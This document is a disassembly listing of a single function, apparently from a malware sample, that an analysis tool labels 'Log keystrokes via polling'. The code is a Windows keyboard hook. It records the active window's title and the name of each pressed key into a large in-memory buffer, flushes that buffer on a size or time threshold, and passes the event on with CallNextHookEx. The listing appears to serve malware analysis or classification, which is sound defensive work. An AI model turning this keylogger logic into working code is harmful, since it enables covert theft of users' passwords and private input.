Function at 0x4053a6
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x968
cmp dword [ebp + 8], 0
jne 0x405700
cmp dword [ebp + 0xc], 0x104
je 0x4053d0
cmp dword [ebp + 0xc], 0x100
je 0x4053d0
jmp 0x405700
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
mov dword [ebp - 0x28], eax
mov eax, dword [edx + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x18], eax
cmp dword [0x40dd00], 0
jle 0x40540b
mov eax, 0x80000
sub eax, dword [0x40dd00]
cmp eax, 0xff
jle 0x40544a
cmp dword [0x40dd00], 0x7ffff
jg 0x40544a
mov dword [esp], 0
call sub.msvcrt.dll_time
mov edx, eax
mov eax, dword [0x40de20]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_difftime
fld qword [0x40add0]
fxch st(1)
fucompp
fnstsw ax
sahf
jae 0x40544a
jmp 0x405511
mov eax, dword [0x40dd00]
mov dword [esp + 4], eax
mov dword [esp], 0x40de40
call fcn.004058bb
cmp dword [0x40dd00], 0
jle 0x40547a
mov eax, 0x80000
sub eax, dword [0x40dd00]
cmp eax, 0xff
jle 0x405488
cmp dword [0x40dd00], 0x7ffff
jg 0x405488
jmp 0x4054ab
mov dword [ebp - 0x2c], 0
cmp dword [ebp - 0x2c], 0x14c
jg 0x4054ab
mov dword [esp], 0x270f
call sub.msvcrt.dll__sleep
lea eax, [ebp - 0x2c]
inc dword [eax]
jmp 0x40548f
mov dword [0x40dd00], 0
mov dword [esp + 8], 0x80000
mov dword [esp + 4], 0
mov dword [esp], 0x40de40
call sub.ntdll.dll_memset
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [0x40de20], eax
call fcn.00406174
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40adb5
mov dword [esp], 0x40de40
call sub.ntdll.dll_sprintf
mov dword [esp], 0x40de40
call sub.ntdll.dll_strlen
add dword [0x40dd00], eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x438]
mov dword [esp], eax
call sub.ntdll.dll_memset
cmp dword [0x40de10], 0
je 0x40556d
cmp dword [0x40c8e0], 0
je 0x40556d
mov eax, dword [0x40c070]
call eax
mov dword [ebp - 0x2c], eax
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x438]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
mov eax, dword [0x40c060]
call eax
sub esp, 0xc
lea eax, [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x4dde90
call fcn.00406090
test eax, eax
jne 0x4055f4
lea eax, [ebp - 0x438]
mov dword [esp + 8], eax
mov dword [esp + 4], str._n______s______n
lea eax, [ebp - 0x838]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x838]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov eax, dword [0x40dd00]
mov dword [esp + 8], eax
lea eax, [ebp - 0x838]
mov dword [esp + 4], eax
mov dword [esp], 0x40de40
call fcn.00405229
lea eax, [ebp - 0x838]
mov dword [esp], eax
call sub.ntdll.dll_strlen
add dword [0x40dd00], eax
lea eax, [ebp - 0x438]
mov dword [esp + 4], eax
mov dword [esp], 0x4dde90
call sub.ntdll.dll_strcpy
mov dword [ebp - 0x2c], 0
lea edx, [ebp - 0x938]
mov eax, 0x100
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sub.ntdll.dll_memset
mov dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0x24]
mov edx, eax
shl edx, 0x10
lea eax, [ebp - 0x2c]
add dword [eax], edx
mov eax, dword [ebp - 0x20]
mov edx, eax
shl edx, 0x18
lea eax, [ebp - 0x2c]
add dword [eax], edx
mov dword [esp + 8], 0xff
lea eax, [ebp - 0x938]
inc eax
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.USER32.dll_GetKeyNameTextA
sub esp, 0xc
inc eax
mov dword [ebp - 0x93c], eax
cmp dword [ebp - 0x93c], 2
jne 0x40569b
movzx eax, byte [ebp - 0x937]
mov byte [ebp - 0x938], al
mov byte [ebp - 0x937], 0
jmp 0x4056b3
mov byte [ebp - 0x938], 0x5b
lea eax, [ebp - 8]
add eax, dword [ebp - 0x93c]
sub eax, 0x930
mov byte [eax], 0x5d
lea eax, [ebp - 0x938]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov eax, dword [0x40dd00]
mov dword [esp + 8], eax
lea eax, [ebp - 0x938]
mov dword [esp + 4], eax
mov dword [esp], 0x40de40
call fcn.00405229
lea eax, [ebp - 0x938]
mov dword [esp], eax
call sub.ntdll.dll_strlen
add dword [0x40dd00], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [0x40c4d0]
mov dword [esp], eax
call sub.USER32.dll_CallNextHookEx
sub esp, 0x10
leave
ret 0xc